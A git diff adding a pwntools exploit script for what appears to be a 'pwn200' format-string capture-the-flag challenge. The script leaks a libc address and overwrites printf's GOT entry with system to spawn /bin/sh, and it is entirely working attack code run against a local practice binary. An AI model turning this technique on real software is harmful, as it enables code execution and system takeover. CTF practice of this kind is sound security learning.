diff --git a/format-string/pwn200/answer.py b/format-string/pwn200/answer.py new file mode 100644 index 0000000..4d2df54 --- /dev/null +++ b/format-string/pwn200/answer.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python2 +from pwn import * +from LibcSearcher import * +from struct import pack +import os, base64, math +context(arch = "i386",os = "linux", log_level = "debug") + +p = process('./pwne') +elf = ELF('./pwne') + +p.recvuntil("WANT PLAY[Y/N]\n") +p.sendline("Y") +p.recvuntil("GET YOUR NAME:\n\n") +p.sendline("%p\n\x00") +p.recvuntil("WELCOME \n") +buf_shift = int(p.recvuntil("\n"), 16) +ret_addr = buf_shift + 0x50 +p.sendline("10") + +puts_got = elf.got['puts'] +puts_plt = elf.plt['puts'] +printf_got = elf.got['printf'] +main_sym = 0x80485CD + +p.recvuntil("WANT PLAY[Y/N]\n") +p.sendline("Y") +p.recvuntil("GET YOUR NAME:\n\n") +payload = fmtstr_payload(7, + { + ret_addr: puts_plt + } +) +p.sendline(payload) +p.recvuntil("WELCOME \n") +p.sendline("10") + +p.recvuntil("WANT PLAY[Y/N]\n") +p.sendline("Y") +p.recvuntil("GET YOUR NAME:\n\n") +payload = fmtstr_payload(7, + { + ret_addr + 4: main_sym + } +) +p.sendline(payload) +p.recvuntil("WELCOME \n") +p.sendline("10") + +p.recvuntil("WANT PLAY[Y/N]\n") +p.sendline("Y") +p.recvuntil("GET YOUR NAME:\n\n") +payload = fmtstr_payload(7, + { + ret_addr + 8: puts_got + } +) +p.sendline(payload) +p.recvuntil("WELCOME \n") +p.sendline("10") + +p.recvuntil("WANT PLAY[Y/N]\n") +p.sendline("NY") +puts_libc = u32(p.recv(4)) +print(hex(puts_libc)) + +libc = LibcSearcher('puts', puts_libc) +libc_base = puts_libc - libc.dump('puts') +print("base libc: %s" % hex(libc_base)) +system_libc = libc_base + libc.dump('system') +print("system libc: %s" % hex(system_libc)) + +p.recvuntil("GET YOUR NAME:\n\n") +payload = fmtstr_payload(7, {printf_got: system_libc}) +p.sendline(payload) +p.sendline("10") +p.recvuntil("WANT PLAY[Y/N]\n") +p.sendline("Y") +p.sendline("/bin/sh") +p.interactive() \ No newline at end of file diff --git a/format-string/pwn200/pwne b/format-string/pwn200/pwne new file mode 100755 index 0000000..608a91e Binary files /dev/null and b/format-string/pwn200/pwne differ